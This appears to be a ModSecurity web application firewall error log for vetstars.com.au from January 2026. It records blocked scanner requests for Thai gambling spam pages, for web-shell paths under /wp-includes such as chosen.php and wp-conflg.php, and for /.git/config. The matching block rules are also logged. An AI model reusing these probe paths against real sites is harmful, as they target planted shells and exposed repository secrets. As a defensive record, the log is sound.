[Tue Jan 27 23:45:14.469044 2026] [:error] [pid 48412:tid 48434] [client 51.75.119.112:42416] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%8B%E0%B8%B8%E0%B8%9B%E0%B9%80%E0%B8%9B%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXjdinbJMfAKlln88JEvCQAAAVQ"]
[Tue Jan 27 23:45:16.645070 2026] [:error] [pid 39017:tid 39055] [client 51.75.119.112:42424] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95333.aspx"] [unique_id "aXjdjM553xt-F_10bG6_8gAAAwc"]
[Tue Jan 27 23:45:17.411117 2026] [:error] [pid 39016:tid 39023] [client 51.75.119.112:42430] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%A2%E0%B8%B9%E0%B8%9F%E0%B9%88%E0%B8%B2%E0%B9%80%E0%B8%9A%E0%B8%97.aspx"] [unique_id "aXjdjfB6_y9crthwy8rC0wAAAsI"]
[Tue Jan 27 23:45:19.923582 2026] [:error] [pid 48412:tid 48432] [client 51.75.119.112:42436] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B9%82%E0%B8%9A%E0%B9%80%E0%B8%9A%E0%B9%87%E0%B8%95.aspx"] [unique_id "aXjdj3bJMfAKlln88JEvFwAAAVI"]
[Tue Jan 27 23:45:20.446604 2026] [:error] [pid 39016:tid 39045] [client 51.75.119.112:42442] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95333.aspx"] [unique_id "aXjdkPB6_y9crthwy8rC1gAAAtg"]
[Tue Jan 27 23:45:23.351097 2026] [:error] [pid 7453:tid 7489] [client 51.75.119.112:49326] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20slotxo.aspx"] [unique_id "aXjdkxfsyA2ws_ADqujB-wAAAEA"]
[Tue Jan 27 23:45:23.720768 2026] [:error] [pid 39017:tid 39063] [client 51.75.119.112:49340] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B8%AA%E0%B9%82%E0%B8%9A%E0%B9%80%E0%B8%9A%E0%B9%87%E0%B8%95.aspx"] [unique_id "aXjdk8553xt-F_10bG6_-QAAAw8"]
[Tue Jan 27 23:45:26.258109 2026] [:error] [pid 39017:tid 39070] [client 51.75.119.112:49342] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20slotxo.aspx"] [unique_id "aXjdls553xt-F_10bG6__gAAAxY"]
[Tue Jan 27 23:45:27.801488 2026] [:error] [pid 38987:tid 39007] [client 51.75.119.112:49354] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXjdl6TH0bU76Ifu_XdFMQAAABE"]
[Tue Jan 27 23:45:29.265889 2026] [:error] [pid 38987:tid 39004] [client 51.75.119.112:49358] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C.aspx"] [unique_id "aXjdmaTH0bU76Ifu_XdFMwAAAA4"]
[Tue Jan 27 23:45:31.732144 2026] [:error] [pid 48412:tid 48430] [client 51.75.119.112:49368] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2joker123%20auto%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXjdm3bJMfAKlln88JEvIQAAAVA"]
[Tue Jan 27 23:45:32.958079 2026] [:error] [pid 39016:tid 39045] [client 51.75.119.112:51850] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2joker123%20auto%20%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2.aspx"] [unique_id "aXjdnPB6_y9crthwy8rC5AAAAtg"]
[Tue Jan 27 23:45:34.183211 2026] [:error] [pid 48528:tid 48536] [client 51.75.119.112:51864] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2pg%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXjdngOGRrquT9N7CZqKEgAAAgY"]
[Tue Jan 27 23:45:36.666489 2026] [:error] [pid 48446:tid 48481] [client 51.75.119.112:51876] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2s%20joker.aspx"] [unique_id "aXjdoMDRSaZ8F8aaLxm7DgAAAcQ"]
[Tue Jan 27 23:45:36.904816 2026] [:error] [pid 7453:tid 7507] [client 51.75.119.112:51868] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%97%E0%B8%B2%E0%B8%87%E0%B9%80%E0%B8%82%E0%B9%89%E0%B8%B2pg%20%E0%B8%A1%E0%B8%B7%E0%B8%AD%E0%B8%96%E0%B8%B7%E0%B8%AD.aspx"] [unique_id "aXjdoBfsyA2ws_ADqujCCQAAAFI"]
[Tue Jan 27 23:46:07.900655 2026] [:error] [pid 7454:tid 7525] [client 51.75.119.112:51888] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20789.aspx"] [unique_id "aXjdv5ltCoZEfMmfl8A0AgAAAIk"]
[Tue Jan 27 23:46:10.446996 2026] [:error] [pid 48446:tid 48491] [client 51.75.119.112:51890] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C.aspx"] [unique_id "aXjdwsDRSaZ8F8aaLxm7LAAAAc0"]
[Tue Jan 27 23:46:10.592709 2026] [:error] [pid 48528:tid 48539] [client 51.75.119.112:35018] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20888%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%2050.aspx"] [unique_id "aXjdwgOGRrquT9N7CZqKHAAAAgk"]
[Tue Jan 27 23:46:13.206839 2026] [:error] [pid 48528:tid 48533] [client 51.75.119.112:48242] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87%2030.aspx"] [unique_id "aXjdxQOGRrquT9N7CZqKIAAAAgM"]
[Tue Jan 27 23:46:14.980386 2026] [:error] [pid 48662:tid 48671] [client 51.75.119.112:48248] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXjdxuD8iESUP9uRiRMGIAAAAoM"]
[Tue Jan 27 23:46:16.093075 2026] [:error] [pid 48528:tid 48536] [client 51.75.119.112:48254] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z16%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXjdyAOGRrquT9N7CZqKIgAAAgY"]
[Tue Jan 27 23:46:18.018344 2026] [:error] [pid 7453:tid 7506] [client 51.75.119.112:48260] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20789%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXjdyhfsyA2ws_ADqujCLwAAAFE"]
[Tue Jan 27 23:46:22.144892 2026] [:error] [pid 39016:tid 39034] [client 51.75.119.112:48266] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20789.aspx"] [unique_id "aXjdzvB6_y9crthwy8rC9gAAAs0"]
[Tue Jan 27 23:46:25.630786 2026] [:error] [pid 48446:tid 48495] [client 51.75.119.112:47710] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20888%20%E0%B8%9F%E0%B8%A3%E0%B8%B5%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%2050.aspx"] [unique_id "aXjd0cDRSaZ8F8aaLxm7LwAAAdE"]
[Tue Jan 27 23:46:30.709405 2026] [:error] [pid 48528:tid 48550] [client 51.75.119.112:47718] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%81%E0%B8%94%E0%B8%A3%E0%B8%B1%E0%B8%9A%E0%B9%80%E0%B8%AD%E0%B8%87%2030.aspx"] [unique_id "aXjd1gOGRrquT9N7CZqKJQAAAhQ"]
[Tue Jan 27 23:46:36.969420 2026] [:error] [pid 39017:tid 39072] [client 51.75.119.112:40704] [client 51.75.119.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/z16%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXjd3M553xt-F_10bG7AKwAAAxg"]
[Wed Jan 28 00:49:36.479491 2026] [:error] [pid 24425:tid 24454] [client 170.106.160.90:58182] [client 170.106.160.90] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXjsoB_qUCA3SusVe0t5NQAAARg"]
[Wed Jan 28 01:15:31.645488 2026] [:error] [pid 41678:tid 41710] [client 93.123.109.175:39040] [client 93.123.109.175] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aXjys6ja89ZyPVwMdigdzwAAABE"]
[Wed Jan 28 01:47:51.623901 2026] [:error] [pid 24511:tid 24534] [client 49.235.136.28:51420] [client 49.235.136.28] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXj6R2moieLyDzs0ASQHLQAAAJM"]
[Wed Jan 28 05:12:20.105823 2026] [:error] [pid 17426:tid 17506] [client 45.154.138.43:33429] [client 45.154.138.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aXkqNE8zvf_03BnziRfsmQAAAJE"]
[Wed Jan 28 05:12:29.233488 2026] [:error] [pid 64842:tid 64862] [client 45.154.138.12:36175] [client 45.154.138.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aXkqPVuAAQZ5AN_SnDbnvAAAAVI"]
[Wed Jan 28 05:13:18.451085 2026] [:error] [pid 17426:tid 17494] [client 45.154.138.31:49149] [client 45.154.138.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/chosen.php"] [unique_id "aXkqbk8zvf_03BnziRfvSQAAAIU"]
[Wed Jan 28 05:13:40.340897 2026] [:error] [pid 64842:tid 64854] [client 45.154.138.25:61981] [client 45.154.138.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "aXkqhFuAAQZ5AN_SnDbrUgAAAUo"]
[Wed Jan 28 05:13:41.260670 2026] [:error] [pid 17425:tid 17480] [client 45.154.138.13:59813] [client 45.154.138.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "aXkqharcODKH1Dl7aZAXwgAAAFI"]
[Wed Jan 28 05:13:42.190472 2026] [:error] [pid 17424:tid 17452] [client 45.154.138.28:38541] [client 45.154.138.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/wp-conflg.php"] [unique_id "aXkqhmRvtDRvGDe-pIs6GgAAABM"]
[Wed Jan 28 05:13:56.394262 2026] [:error] [pid 17424:tid 17436] [client 45.154.138.11:24671] [client 45.154.138.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aXkqlGRvtDRvGDe-pIs6ugAAAAM"]
[Wed Jan 28 05:14:37.788719 2026] [autoindex:error] [pid 17424:tid 17446] [client 45.154.138.40:25049] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Jan 28 08:42:42.486474 2026] [:error] [pid 17535:tid 17547] [client 170.106.197.109:48396] [client 170.106.197.109] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aXlbgq3QiSMgVscnN5JpFAAAAMk"]
[Wed Jan 28 10:07:33.602967 2026] [:error] [pid 2454:tid 2469] [client 147.135.214.239:40902] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aXlvZZvv4I21Ywd7NNZgbgAAAYs"]
[Wed Jan 28 10:07:38.581801 2026] [:error] [pid 17424:tid 17440] [client 147.135.214.239:33760] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aXlvamRvtDRvGDe-pIukhwAAAAc"]
[Wed Jan 28 10:07:43.671003 2026] [:error] [pid 2454:tid 2475] [client 147.135.214.239:33766] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aXlvb5vv4I21Ywd7NNZgegAAAZE"]
[Wed Jan 28 10:07:47.183296 2026] [:error] [pid 17425:tid 17480] [client 147.135.214.239:44734] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aXlvc6rcODKH1Dl7aZCB_gAAAFI"]
[Wed Jan 28 10:07:51.276032 2026] [:error] [pid 2454:tid 2463] [client 147.135.214.239:44746] [client 147.135.214.239] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aXlvd5vv4I21Ywd7NNZggwAAAYU"]
